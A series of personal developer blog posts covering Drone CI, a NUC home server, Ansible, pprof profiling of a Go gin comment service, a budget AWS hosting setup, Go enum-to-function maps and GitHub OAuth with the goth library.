Drone consists of two parts - server and agents. The server handles auth, users, secret management, handles hooks for source control and orchestrates the work for agents. The agents are responsible for actually executing the workflows they receive from the server. This basically means that you can have workers anywhere as long as they can reach the drone server. Drone is written in Go and is extremely lightweight. This means that it has an extremely low memory requirements which is of great advantage to me as I’m trying to keep the costs to a minimum. The server I’m running takes up around 15MB of memory while the worker takes 14MB. Everything is dockerized so it’s super easy to deploy as well.

My setup consists of a server running in an AWS EC2 instance and a worker running at home in a MSI Cubi Silent NUC I’ve recently acquired. The Raspberry I’ve used for jenkins is also a great candidate to run a worker but due to the workloads I throw at it(lots of disk io - the sd card can’t handle that. Looking at you - javascript.) it’s less than ideal in my situation. I’ll keep it on hand just in case I need more workers. The old laptop could also be a candidate here for the future. That’s part of the joy with Drone - you can literally run it anywhere.

Drone looks for a .drone.yml file in an enabled repository. It’s in this file that you specify your pipeline. What makes drone great is that you can actually run the pipeline locally, using the drone cli. It makes testing the builds super easy. That’s a huge contrast to what I’m used to with Jenkins(Disclaimer: I might just be a scrub, I’m not hating on Jenkins). What this also means is that you really don’t need to worry about storing the jobs themselves anywhere as they are just as safe as the rest of your code in your source control. Hopefully anyway.

The steps in the pipeline are run in docker containers which are thrown out after the pipeline is done. It means that the jobs are nice and reproducible. And while I hate YAML the pipelines are quite easy to understand. Click for a look at an example.

The verdict

I like it. Drone seems to be on a really good path towards becoming an excellent CI tool. There’s things missing though. It seems a bit basic. Things like the lack of global secrets(they are now defined per-repo instead or I didn’t manage to find them) or proper documentation as the current one seems a bit lacking. Took me quite a while to get my first proper job running and I’ve only managed that after I’ve looked at a few examples on the internet, rather than the docs. There’s also the question of pricing. The website is not super clear on the pricing, but from what I gather, the enterprise edition is free as long as you run less than 15000 jobs per year. The pricing afterwards is per user at an unknown rate. Anyways, I should be covered as I probably run less than 500 jobs per year and do not plan on adding new ones any time soon. There’s also the lack of option to run multiple different jobs from the same repository, which leads to a pattern on many small repo’s appearing on my source control. I’m not too fond of that and wish there was a way to schedule quite a few jobs from a single repo.

Nonetheless, once you get the hang of it Drone seems to be a powerful tool. The UI is crisp, deploying it is easy and it runs on a potato. Everything I like from my CI installation. As for the lacking features - I’m sure they are coming soon™.

I’ll keep this space updated with my latest projects running on drone. Stay tuned!

Have you used Drone? Do you prefer something else? Do let me know in the comments below.

Note that I’m not affiliated with any of the hardware manufacturers in any way shape or form.

The planned change

The laptop I’ve been using for Jenkins has become rather critical for this blog and a few side projects I’ve got. This meant that I first needed to find a way to migrate everything to a new machine that would be coming. I’ve then focused on rewriting my infra to code with the help of Ansible®. Even though I’m not a super big fan of it I’ve managed to write everything as an Ansible playbook. I did, however, skip the Jenkins and moved towards Drone CI instead. With this complete, I needed to figure out what type of a machine I might want to go for.

The workloads I’m running are not super duper heavy and usually, my machine is not running any heavy computation 24/7. The heaviest tasks it would be getting is building a container when a build pops up. Therefore I need something that’s equipped with at least an i5 or equivalent as I want my builds to run in reasonable amounts of time. There needs to be at least 16GB of memory, as that will most likely get consumed as time goes as I tend to run more and more stuff on the machines I have at home. It’s just part of my hobby - come up with a service I might not even need, write it and put it up on the machine I’ve got. Bonus points go for being a small form factor as the laptop takes the valuable space which I could instead use for a board game or two. If possible, I’d like it to be silent, preferably passive cooled. This is due to the fact as I tend to schedule some of the busier scheduled jobs for the middle of the night, the time I’m least likely to have other jobs running. I also need an ssd. The storage size is not a huge factor as I’m not storing anything that’s large but the speed is of paramount importance. I do run quite a lot of javascript and that means tons of IO for small files. I’ve ran into performance issues on my Raspberry Pi 3 Jenkins instance with javascript jobs due to the limitations of the SD card performance. Jobs that would take seconds on a proper SSD can take minutes on a slow storage. I also did not want to spend a ton of it, if I could fit it in a 500 euro budget, I’d be golden. Take note that I do live in Europe and electronics are way more expensive here than the other side of the pond.

Therefore I ended up with the following requirements:

• i5 or equivalent
• 16GB of ram
• Passive cooling
• Small form factor
• SSD
• 500 Euros for it all

I did a bit of digging and a NUC seemed a perfect candidate for the form factor I was looking for. There seem to be a only a few passively cooled ones but once I found the MSI Cubi 3 Silent S I looked no further. It seemed to tick all the boxes, with support for an M.2 SSD as well.

The cost

So with the choice made, I started digging through both local stores, amazon and other online retailers that do ship to Lithuania. The prices varied by only a little, so I went with a local option. Here’s what components I went with and their price:

For a grand total of 499.98€.

The struggle

After waiting for nearly a week for my Cubi to arrive, I’ve started assembling it. The NUC is quality made. The aluminum looks top notch, there’s plenty of soft-padding inside for all the components as to avoid any rattles and weird noises. The NUC is pretty heavy - an indicator for plenty of cooling present. Assembling everything was a breeze, but then I hit an issue. The issue that I’ve struggled with for a while. The M.2 SSD was not detected by bios. I did some investigation on the internet, found that it’s a common issue and that the OS setup would usually find the SSD. This did not work for me however. I’ve tried Ubuntu, CentOS and Windows setups but none managed to detect the drive. I’ve no idea if it’s the cubi that’s faulty or the drive. I had to fallback to an old ssd I had on hand to install the CentOS on it. I’ve spent a good few hours playing with the BIOS, plugging and unplugging the drive but did not manage to get it to work. Since I don’t have any other device with an M.2 slot I’m unable to test the drive in isolation. I’ve given up on it already but if you do have pointers for what I should try - do leave a comment. Despite this - I can’t blame the Cubi - it does seem like a good product.

Once the OS was installed, I ran my prepared Ansible playbook to set up everything I need on it. This was rather painless despite me not being a fan. Hats off Ansible, you win this time.

The performance

Anyway - the Cubi has now found it’s proud home in our living room, behind the TV:

I’m not going to run any actual performance benchmarks on it. Instead, I’ll do a laser-eyeball comparison between the cubi and my usual machine - a MacBook Pro. This one is a 2018 model with 2.2 GHz i7. I’ll compare the two running the same Drone job while a drone agent is present on the system. Keep in mind that the MacBook is a rather congested machine as I’m running a ton of stuff on it at all times. Albeit - it’s not something that’s doing a ton of heavy lifting but I’ll probably be browsing while it builds in the background. I know this won’t be an apples to apples comparison but I hope you’re fine with that. Oh and my DockerForMac is set at 6CPU’s. Here’s the result:

So the Cubi outdoes the MacBook. I really think if I were to leave the mac alone it would perform the build a tad quicker, but the Cubi seems to be doing well for the price.

As far as the temperatures go, the Cubi’s CPU sits at 41°C on idle. While chewing on something a bit heavier it goes to around 55°C(I used stress to test this). I did not run it for hours though, so numbers might not represent a true stress test.

The conclusion

I’m pretty happy with the way the Cubi performs. Since I’m not going to be pushing it 24/7 it seems to be appropriate for my use case. I’m sure there are alternatives that might be a tad cheaper but since I keep it in the living room the aesthetics are also a consideration. It’s a quality product that will hopefully last for a long time and be the host of many of my hobby projects.

Maybe I should have opted for something else rather than the Cubi? Any projects I should try to put on it?

So what I ended up doing is writing a playbook that will allow me to set everything up on a fresh machine. I’m not going to go into much detail of the process itself or look at the playbook instead, I’ll do a short summary of what I’ve learned on my way there. I’m not an expert in it by any means nor am I any good at it so do take everything you see here with a grain of salt.

So what’s this Ansible thing anyway?

Well, Ansible is an open source configuration management and application deployment tool. There’s probably a lot more to it than I just wrote but those are the parts I’ve had contact with so far. In essence Ansible allows you to define collections of scripts (called playbooks) that define what should be installed and run in a server. This is exactly what I was looking for as I wanted to create a portable script that I can easily use to replicate my at home infrastructure setup in case my laptop burns to death. You write a yaml file containing all the steps needed to install and run the required pieces of the puzzle.

I was a bit confused at first as to why this is any better than bash but after using it for a while, it starts to make sense. With bash you’d have to write a whole lot of boilerplate checking what has already been installed, what has already been run and what not. Ansible does that for you, it keeps track of what was run on which server so it does not perform the steps it does not need to perform. I would elaborate on the way it does this but I’ve honestly no clue and don’t think I need to know. All I know is it does and seems to do it very well.

Another layer above bash is called modules. These allow for easily performing common tasks, such as interacting with yum, pip or docker. There’s plenty of modules to choose from so Ansible comes with a whole lot of functionality out of the box. It also handles secrets quite well - you can encrypt and decrypt secrets quite easily. Once you’ve got a playbook setup it becomes trivial to scale to as many servers as you like. In short, it’s a great tool for deploying stuff.

It’s great but I hate using it

Not everything went as smoothly as I had anticipated though. It took me quite a bit of time to get my first playbook going. I won’t lie - I had a couple of examples to go by from work which did help me. Even so I found it rather frustrating having to do everything the Ansible way.

It feels that you need to spend a lot of time familiarizing yourself with Ansible prior to using it properly. I had to learn the tool to use it properly although I already have the knowledge how to set up my machine. While trying to write an Ansible playbook it feels as if I’m not learning anything useful. All I’m learning is a concrete implementation of infrastructure as code defined in yaml. I’m learning the concrete data structures that I need to define for Ansible to behave the way I’d expect it to. I’m having to familiarize myself with the way Ansible handles folder structures in my playbook. One could say it’s hidden behind a steep learning curve. This would be fine - I’m not against learning something that’s rather hard to do at first - I’m totally up for a challenge. But here I feel I’m not gaining any long term value. Ansible might be a good solution now but with the rapid way technology evolves now it might not last as long as I wish.

With Ansible I feel it wraps everything too nicely and I struggled to find the long lasting benefit and therefore the motivation to continue learning as I do not see how any of what I was learning was portable in the long run.

I’m not the target audience

I don’t mean to bash on Ansible. It’s a great tool at the hands of someone who can actually use it. However, I’m not that person, nor I intend to be. I really wanted to take it, make a simple script to deploy my infra in half an hour, commit it, push it and forget about it till the heat death of the universe. It turned out to be way too complex for that and it shows that I’ve probably taken a wrong tool for the job. What I probably need is a GUI layer on top of Ansible, called “Ansible for dummies” where I could click and drag and drop instead of touching yaml. Oh and I’ve mentioned in the past that I’m not a fan of yaml.

All in all - I’m happy I managed to finish the playbook but I’ll be happier still if I don’t have to do it again.

Enabling profiling for gin

First, we’ll need to enable profiling on gin. This can be achieved by using a middleware. Luckily, there are a few open source middlewares we can choose so that we don’t have to do it ourselves. I’ll use gin-contrib/pprof. To install it

go get github.com/gin-contrib/pprof

Once that is done, we’ll just need to register our router with the middleware. In case of mouthful, we’ll do that by changing the ./api/server.go file. In there, we’ll register the pprof middleware just after creating our router. So the line

// ...
r := gin.New()
// ...

Becomes

// ...
r := gin.New()
pprof.Register(r, &pprof.Options{RoutePrefix: "debug/pprof"})
// ...

What this does, is expose a set of endpoints on the mouthful server and enable profiling. The endpoints will have the path prefix specified by the RoutePrefix in the Options struct. In our case, assuming the default port for mouthful is left in tact, it means that there’s a bunch of endpoints sitting under http://localhost:8080/debug/pprof. Under debug mode, gin will print those endpoints like so:

[GIN-debug] GET    /debug/pprof/block        --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/heap         --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/profile      --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] POST   /debug/pprof/symbol       --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/symbol       --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)
[GIN-debug] GET    /debug/pprof/trace        --> github.com/vkuznecovas/mouthful/vendor/github.com/gin-contrib/pprof.pprofHandler.func1 (3 handlers)

For more information about each of these, refer to Julia’s post. I’m interested in CPU usage, so for this demo, we’ll stick with the /debug/pprof/profile.

Generating a report

To generate a report, all we need to do is run the mouthful instance and start gathering samples with pprof by running this command

go tool pprof http://localhost:8080/debug/pprof/profile

It will run for 30 seconds, trying to get the samples it needs to provide us with information. We’ll get an output like this:

$ go tool pprof http://localhost:8080/debug/pprof/profile
Fetching profile over HTTP from http://localhost:8080/debug/pprof/profile
Saved profile in /home/viktoras/pprof/pprof.main.samples.cpu.005.pb.gz
File: main
Build ID: 537f56f9e9c677deda0f029755cf52cfbc1b35ca
Type: cpu
Time: Aug 22, 2018 at 10:51am (EEST)
Duration: 30s, Total samples = 10ms (0.033%)

Here we can see that we did not gather a lot of samples. That’s due to the fact that our mouthful instance is not doing much. For a proper profiling, I’ll simulate some serious load on mouthful, by using hey. Hey is excellent for quick api load tests.

But first, we need to create some comments. For that, I’ll run a loop with curl, like so:

#!/bin/bash
for i in {1..100}
do
curl --request POST \
  --url http://localhost:8080/v1/comments \
  --header 'content-type: application/json' \
  --data '{"path": "/test","body": "this is just a test","author": "vik"}'
done

With the comments ready, we can finally do a proper profile. I’ll first restart mouthful with debug flags off, that should improve performance quite a bit, but that’s optional. It’s time to run hey on the endpoint that fetches the comments.

The following will make hey fetch the provided endpoint a million times, using 100 concurrent requests.

hey -n 1000000 -c 100 http://localhost:8080/v1/comments?uri=/test

I fire up hey, and on a separate terminal start the pprof again. After 30 seconds, you’ll see something like this:

$ go tool pprof http://localhost:8080/debug/pprof/profile
Fetching profile over HTTP from http://localhost:8080/debug/pprof/profile
Saved profile in /home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz
File: main
Build ID: 537f56f9e9c677deda0f029755cf52cfbc1b35ca
Type: cpu
Time: Aug 22, 2018 at 11:06am (EEST)
Duration: 30.21s, Total samples = 1.02mins (201.79%)
Entering interactive mode (type "help" for commands, "o" for options)

We now have more samples, perhaps that’s something we can work with. You can also notice that pprof stays in interactive mode. I personally don’t use the interactive mode, but that’s just me. Feel free to use it if you like it.

Hey also reports, that mouthful managed 3861.2859 requests/second.

Anyway, back to pprof. So now we have the profile saved at (in my case anyway) the following path.

/home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz

To make sense of the profile, we’ll use pprofs’ png feature, to export the information as a graph we can read with human eyes.

go tool pprof -png /home/viktoras/pprof/pprof.main.samples.cpu.006.pb.gz > profile1.png

The command outputs an image you can see below(click for the full size):

Making sense of the graph

The graph shows the time that mouthful spent on certain methods. You might get a few different paths on your profiles, but here we only get shown 2. Pprof hides the nodes it thinks are not as important. Using this graph, we can understand where the bottlenecks are. In our case, the vast majority of the time(46.53s) was spent in github.com/vkuznecovas/mouthful/vendor/github.com/gin-gonic/gin. Following the stack we see that mouthful/api GetComments gets 46 seconds of that. If we go even further down the path, we’ll soon see that nearly 41 second of the 46 was spent doing json encoding(encoding/json encode). I’m getting the feeling this is something we can fix.

Understanding the issue

So here’s what the GetComments looks like:

func (r *Router) GetComments(c *gin.Context) {
	path := c.Query("uri")
	if path == "" {
		c.AbortWithStatusJSON(400, global.ErrThreadNotFound.Error())
		return
	}
	path = NormalizePath(path)
	if r.cache != nil {
		if cacheHit, found := r.cache.Get(path); found {
			comments := cacheHit.(*[]dbModel.Comment)
			c.Writer.Header().Set("X-Cache", "HIT")
			c.JSON(200, *comments)
			return
		}
	}
	db := *r.db
	comments, err := db.GetCommentsByThread(path)

	if err != nil {
		if err == global.ErrThreadNotFound {
			c.AbortWithStatusJSON(404, global.ErrThreadNotFound.Error())
			return
		}
		log.Println(err)
		c.AbortWithStatusJSON(500, global.ErrInternalServerError.Error())
		return
	}
	if comments != nil {
		if r.cache != nil {
			r.cache.Set(path, &comments, cache.DefaultExpiration)
			c.Writer.Header().Set("X-Cache", "MISS")
		}
		if len(comments) > 0 {
			c.JSON(200, comments)
		} else {
			c.JSON(404, global.ErrThreadNotFound.Error())
		}
		return
	}
	c.AbortWithStatusJSON(404, global.ErrThreadNotFound.Error())
}

I know it’s not the prettiest of methods, but can you spot the issue? The problem is related to caching. What I’m doing here, is storing the comment struct array in cache and the returning it to the consumer, using the gin contexts’ JSON method. The JSON method takes the objects from cache and has to marshal them to JSON for every request. We could optimize it by storing the already marshaled JSON instead of the comment structs and returning it without calling the gins’ JSON method.

Fixing it

After a quick change, the GetComments starts looking like this:

func (r *Router) GetComments(c *gin.Context) {
	path := c.Query("uri")
	if path == "" {
		c.AbortWithStatusJSON(400, global.ErrThreadNotFound.Error())
		return
	}
	path = NormalizePath(path)
	if r.cache != nil {
		if cacheHit, found := r.cache.Get(path); found {
			jsonString := cacheHit.(*[]byte)
			c.Writer.Header().Set("X-Cache", "HIT")
			c.Data(200, "application/json; charset=utf-8", *jsonString)
			return
		}
	}
	db := *r.db
	comments, err := db.GetCommentsByThread(path)

	if err != nil {
		if err == global.ErrThreadNotFound {
			c.AbortWithStatusJSON(404, global.ErrThreadNotFound.Error())
			return
		}
		log.Println(err)
		c.AbortWithStatusJSON(500, global.ErrInternalServerError.Error())
		return
	}
	if comments != nil {
		js, err := json.Marshal(comments)
		if err != nil {
			c.JSON(500, global.ErrInternalServerError.Error())
			return
		}
		if r.cache != nil {
			r.cache.Set(path, &js, cache.DefaultExpiration)
			c.Writer.Header().Set("X-Cache", "MISS")
		}
		if len(comments) > 0 {
			c.Data(200, "application/json; charset=utf-8", js)
		} else {
			c.JSON(404, global.ErrThreadNotFound.Error())
		}
		return
	}
	c.AbortWithStatusJSON(404, global.ErrThreadNotFound.Error())
}

Instead of storing the comments as structs, we now store the marshaled byte representation of struct in the cache. Once the user requests the comments, if we have them in cache, we don’t need to re-marshal them. This should save us A LOT of time. Time to profile again.

Hey now reports a massive increase in request throughput: 22244.9003 requests/sec. That’s quite a margin.

Here’s what pprof now generates(click for the full size):

It now seems most of the time is actually spent writing data, instead of marshaling it. Huge win performance wise.

If you’re interested, here’s the mouthful config.json file I’ve used for this demo. Also, this is the PR with the fix I’ve merged in mouthful.

I hope you enjoyed this quick walkthrough of using pprof. Do let me know if I’ve made any mistakes in the comments below. I love hearing your feedback!

Firstly, a disclaimer. Since I’m not making money off this blog, I really really want it to be as cheap as it can. Therefore, what you’ll find below might scare the enterprise devops.

Jenkins

Initially, I had used a raspberry pi3 for the jenkins server. That was mostly due to having a spare rpi3 laying around and not having much to do with it. Also since I’m cheap, and AWS EC2 instances do cost a bit of money. I’ve since decided to upgrade, as the storage was struggling to keep up with the load I was putting it under. The blog is powered by hexo and that is node based meaning lots and lots of small files need to written to storage when an npm i is run. The SD card was the major bottleneck here. A build of the blog in a clean workspace would take at least half an hour. I’ve since upgraded to an old laptop I’ve got laying around. It’s a Dell XPS 15(probably a 2009 model). I’ve removed the old hard drive, and put in a 250GB SSD in it. The i5 and the 6GB of RAM in the laptop is enough to run jenkins quite comfortably. It’s running CentOS. It’s definitely the single point of failure in the whole infrastructure, so I’m making sure to back up every single job I have in a private github repo, making sure to encrypt it before a push happens and decrypt the sensitive files on a pull in the jenkins machine. I’m also looking for a way to back it up once in a while. That’s still in the works though and I’m looking at rsync and AWS glacier as a possibility here. If you’ve got a better solution, please let me know in the comments below. If the jenkins machine crashes - I’ll probably need somewhere around 5 hours to get it restored on a clean machine from what I have stored in the private repository. So what does this jenkins actually do? Well, it listens for repo changes for the blog, mouthful demo page, mouthful, a private nginx repo and the yet unannounced service. It then performs the build steps.

For the blog, that’s basicly baking the static pages and pushing them to S3 and invalidating a CloudFront distribution.

For mouthful, it builds both - the demo page backend service and the dizzy.zone commenting instance. It then builds a docker image, pushes it to AWS ECR and pushes updated task/service definitions to ECS.

For nginx, it build a new docker image for the nginx pushes it to ECR making sure to update the ECS task/service definitions as required.

ECS cluster

The ECS cluster I have is a whopping single T2.nano instance giving me a total of 512MB of RAM and 1 vCPU to play with. And in this cluster I have 4 services running. 2 of them are instances of mouthful: one for mouthful.dizzy.zone, the other for dizzy.zone. There’s also an nginx instance and a service that’s not yet in use. With this, I’m running at basically 10% memory usage and the CPU usage is non existent at all. That’s mostly due to writing everything with Go and having everything cached both in the instances and the CDN I use(more on that later).

Here’s a memory graph from the instance:

And the same for CPU:

The two mouthful instances are a bit different - the mouthful demo page one runs mouthful with no moderation and with sqlite as a data store(it’s not that important if we lose the comments here) and the other uses DynamoDB.

I was pretty surprised how much I can actually fit on a T2.nano. There’s plenty of space for a few services. One thing to note is that this blog is not all that popular so your mileage may vary.

To lower costs, I’m also running the T2.nano reserved instance.

nginx

The instance I’m running only exposes port 80. So for internal routing to the various services I use nginx. It basicly reroutes certain paths to certain services(running docker containers), as well as adding some headers to the resources that need to be cached or adding a no-cache header to those that don’t.

CDN

For CDN I use CloudFront. It allows for easy SSL setup, forcing http -> https redirects and caching of relevant resources. All of the distributions are spread through all of the edge locations amazon provides for maximum speed.

I’ve got quite a few CloudFront distributions set up:

• One for dizzy.zone
• One for mouthful.dizzy.zone
• One for api.dizzy.zone -> this points to the EC2 T2.nano
• A few more static websites are hosted on S3, so we point to those.
• Where applicable, I also include the www subdomain distributions.

DynamoDB

The DynamoDB is a godsend. Its free tier(one that does not expire at the end of 12 months) is absolutely amazing. With all the other options on AWS being rather expensive in terms of databases it’s been a rather easy choice for me and I’ve been happy with it. The mouthful instance for the blog never even approaches the limit I’ve set on the tables. I’m pretty sure you can create a decent production-ready application on it with the free tier. Do take this with a grain of salt though as I’m not expert on the matter. Nonetheless I’m confident there’s room for optimizations to be done in my implementation of it and I have a complete rewrite of the mouthful DynamoDB layer in my mind, just haven’t gotten to it yet. It was the first real attempt at using DynamoDB and I’m not completely impressed at the job I’ve done.

Grafana

For monitoring purposes, I use grafana to plot the average response times of the apis and the website itself as well as having a graph showing if the apis/website are available. The data comes from a mysql instance running on the same host. The host also contains a service I’ve hacked in Go in a couple of hours. The service allows for registering of targets(URL’s) to hit with specified frequency. It then logs the response code and the time it took to respond and adds it to the mysql instance. Due to terrible code it’s not public yet, but maybe someday. Oh and the host I’m referring to is the same old laptop I’m running my jenkins on.

This setup is mostly used to detect trends that might occur, such as slowdown of services once the amount of comments grows, or once the T2.nano instance starts to struggle with the load. I’m hoping my laser eyeball will be able to spot the issues before they become critical.

Here’s a snap of the dashboard I’ve set up:

The costs

So how much does it all cost? I’ll do a run down without the VAT here.

Well, not much really. A usual month for me costs me less than 12$. However, that is not representative of the writeup above, as I have quite a few other projects hosted there. Making adjustments for that, I’ll assume that it costs me around 8$ to keep what I’ve written above running.

Here’s the bill:

• EC2 instance - 3.27$
• EBS - the volume attached to the EC2 - 3.30$
• ECR - 0.05$
• Route53 - 1.51$
• CloudFront - 0.33$
• DynamoDB - free
• DynamoDB backup storage - 0.01$
• S3 - 0.03$
• Misc - 0.03$

For a grand total of 8.53$ before tax.

There’s also the hidden electricity cost of running an old laptop. I have no clue how much power it consumes, so I’ve left it out of the calculations.

In terms of these costs growing, I do not see any issues with the current infrastructure unless I see more than 50fold increase in blog readers. There will be minor costs penalties to that, but I’m pretty sure those will be limited to Route53 and CloudFront.

If I weren’t on a budget

There’s a few things I’d change if I weren’t on the budget. First, I’d get rid of the nginx and put an application load balancer there instead. Then I’d change the caching on mouthful to a full fledged redis instance(I just like redis). Afterwards, I’d spin up a few more T2.nano instances and replicate the setup on each of them. This way I’d be able to scale quite well. I think - at least. Hopefully, time will tell.

And this concludes the overview of the infrastructure I’ve got around the blog. Hope you enjoyed!

So what do you guys think of my infrastructure? Anything I could improve? Maybe I’ve got something completely wrong and deserve to go to the OPS hell? Do let me know in the comments.

type MyEnum int

const (
	One   MyEnum = iota
	Two   MyEnum = iota
	Three MyEnum = iota
	Four  MyEnum = iota
	Five  MyEnum = iota
)

I’ll then end up with a switch in a part of my code, like so

switch myEnum {
	case One:
		err := DoSomeOtherStuff()
		if err != nil {
			return err
		}
	case Two:
		err := DoSomeMagicalStuff()
		if err != nil {
			return err
		}
	case Three:
		err := DoSomeExoticStuff()
		if err != nil {
			return err
		}
	case Four:
		err := DoSomeOtherStuff()
		if err != nil {
			return err
		}
	case Five:
		err := DoSomeStuff()
		if err != nil {
			return err
		}
}

When the enums are small, with only a few entries in them, this is all rather nice and readable. But take an enum that’s 10, 20, 100 entries long and a switch becomes way too long. The approach I prefer to take in these cases is construct a map containing all the required functions associated with the enum value as the key for the map.

var myMap = map[MyEnum]func() error{
	One:   DoSomeOtherStuff,
	Two:   DoSomeMagicalStuff,
	Three: DoSomeExoticStuff,
	Four:  DoSomeOtherStuff,
	Five:  DoSomeStuff,
}

The switch then can be gotten rid of. Instead, it becomes a map lookup:

if myFunc, ok := myMap[myEnum]; ok {
	err := myFunc()
	if err != nil {
		return err
	}
} else {
    // the default case would go here
}

This allows for more concise code and easier extension in the future. However, I do not use this everywhere either. If the enum is small and not going to change often(famous last words) I’ll leave the switch in its place. It does not work in places where you have functions with very different signatures for each of the switch cases either.

EDIT: Handling all the errors

As Jonathan Gold states in the comments below, you can also handle all the errors at once, so the initial switch becomes something along the lines of:

var err error
switch myEnum {
	case One:
		err = DoSomeOtherStuff()
	case Two:
		err = DoSomeMagicalStuff()
	case Three:
		err = DoSomeExoticStuff()
	case Four:
		err = DoSomeOtherStuff()
	case Five:
		err = DoSomeStuff()
}
if err != nil {
	return err
}

Thanks, Jonathan.

How do you approach your switches? What other tricks do you use? Let me know in the comments below.

When I created mouthful, I was intending it to be rather light and not feature rich but after getting a few feature requests getting in, I’ve decided to expand it. One of the issues was a request to reuse logon credentials for the admin panel. For that, I’ve needed OAuth. I did not have much prior experience with OAuth, so it did intimidate me a bit. However, after implementing OAuth for mouthful, I can say that nowadays - it’s rather easy including OAuth in your applications as well. It’s also a rather good idea to do so as people behind the providers such as github or facebook are probably going to do a better job than a lone developer like me will at securing your credentials. Anyway, with this post I’d like to show how easy it is to add OAuth to your gin project.

The start

Let’s start with a basic gin app, straight from the gin examples. One thing I’ll change is the default route. Instead of the default ping in the demo, we’ll serve some html.

package main

import (
	"net/http"
	"github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()
	htmlFormat := `<html><body>%v</body></html>`
	html := fmt.Sprintf(htmlFormat, "Test")
	r.GET("/", func(c *gin.Context) {
		c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(html))
	})
	r.Run() // listen and serve on 0.0.0.0:8080
}

Understanding OAuth with goth

Now the pure magic part is the ability to use ready to use libraries for OAuth such as goth. Goth supports a ton of providers, so it means we can have all of them available for us, on our application. For the demo purposes, I’ll stick to a single one though. I’ll use the github provider. Using goth is rather easy. But before we start with that a quick refresher on OAuth. I’ll keep it a bit simplistic. Before OAuth can take place, you need a secret that you and the third party knows. This can be found on the providers webpage. Once you have those, the flow is basically as follows:

• A user initiates the action to log in through a third party provider
• The user is redirected to the 3rd parties provider to agree to giving OAuth access.
• The user agrees and gives you OAuth access.
• The provider then redirects the user back to your website with an auth code.
• With the OAuth code your web server can then gain access and fetch users information.

With that, what we need to enable OAuth in this example is:

1. A button to initiate the flow
2. An auth endpoint to that the button will take the user to
3. A callback that will get called once the auth is done, so we can gain the user info

Let’s start auth endpoint. For this, we’ll set up goth and let it handle all the complexity of OAuth. Here’s how to do it for github.

package main

import (
	"fmt"
	"net/http"
	"os"
	"github.com/markbates/goth"
	"github.com/markbates/goth/gothic"
	"github.com/markbates/goth/providers/github"
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
	githubProvider := github.New(os.Getenv("GITHUB_KEY"), os.Getenv("GITHUB_SECRET"), "http://localhost:8080/callback")
	goth.UseProviders(githubProvider)
	htmlFormat := `<html><body>%v</body></html>`
	r.GET("/", func(c *gin.Context) {
		html := fmt.Sprintf(htmlFormat, "Test")
		c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(html))
	})
	r.Run() // listen and serve on 0.0.0.0:8080
}

We will need a github key and a github secret and those can be gotten under developer settings of your account. We also provide a callback address, and that will be used for registering an OAuth application under your github account as well, so do make sure to use the one I’ve added if you’re following along with this.

Now all we need to implement a couple of endpoints, the auth redirect and the callback.

package main

import (
	"encoding/json"
	"fmt"
	"net/http"
	"os"

	"github.com/gin-gonic/gin"
	"github.com/markbates/goth"
	"github.com/markbates/goth/gothic"
	"github.com/markbates/goth/providers/github"
)

func main() {
	r := gin.Default()
	githubProvider := github.New(os.Getenv("GITHUB_KEY"), os.Getenv("GITHUB_SECRET"), "http://localhost:8080/callback")
	goth.UseProviders(githubProvider)
	htmlFormat := `<html><body>%v</body></html>`
	r.GET("/", func(c *gin.Context) {
		html := fmt.Sprintf(htmlFormat, "Test")
		c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(html))
	})
	r.GET("/github", func(c *gin.Context) {
		q := c.Request.URL.Query()
		q.Add("provider", "github")
		c.Request.URL.RawQuery = q.Encode()
		gothic.BeginAuthHandler(c.Writer, c.Request)
	})
	r.GET("/callback", func(c *gin.Context) {
		q := c.Request.URL.Query()
		q.Add("provider", "github")
		c.Request.URL.RawQuery = q.Encode()
		user, err := gothic.CompleteUserAuth(c.Writer, c.Request)
		if err != nil {
			c.AbortWithError(http.StatusInternalServerError, err)
			return
		}
		res, err := json.Marshal(user)
		if err != nil {
			c.AbortWithError(http.StatusInternalServerError, err)
			return
		}
		jsonString := string(res)
		html := fmt.Sprintf(htmlFormat, jsonString)
		c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(html))
	})
	r.Run() // listen and serve on 0.0.0.0:8080
}

The /github endpoint will do the redirect to github. You might be wondering why do I need to manipulate the request by adding the value provider to the query. Well, in all reality - you don’t if you’re using proper rest API practices and working with multiple OAuth providers. Goth uses the query to figure out which of the registered OAuth providers to use to try and initiate the flow. I’m just faking the query via the three lines:

q := c.Request.URL.Query()
q.Add("provider", "github")
c.Request.URL.RawQuery = q.Encode()

I’m also doing the same in the callback, so - ignore them. In a proper, non demo solution this is not needed as you’ll have the provider passed in as a parameter in a route. The meaty parts here are the gothic.BeginAuthHandler(c.Writer, c.Request) that’s responsible for beginning the OAuth flow and user, err := gothic.CompleteUserAuth(c.Writer, c.Request) for completing the flow and parsing the user details. I’ve also added the user details as a serialized json to our output html once the flow is complete via the callback.

Now onto the button. All we need to do is redirect the user to the /github endpoint. I simply change the routers GET / to the following:

r.GET("/", func(c *gin.Context) {
	html := fmt.Sprintf(htmlFormat, `<a href="https://dizzy.zone/github">Login through github</a>`)
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(html))
})

With that, our OAuth setup is complete. Run your go application, just be sure to set the environment variables GITHUB_KEY and GITHUB_SECRET before hand. You should now be able to log in and see all the details in json format that github provides for your user.

Why do you want this?

In general, handling user credentials is a great responsibility and one should never take it lightly. Therefore it is best to use OAuth if at all possible and not bother making your own Auth services. This allows for greater safety, as it is rather unlikely you’ll come up with a solution more secure than some of the big players. It is rarely a good idea to implement your own Auth solution! With tools like Goth that make this process trivial - there is no excuse for making one yourself.

The full code snippet is also available as a gist.

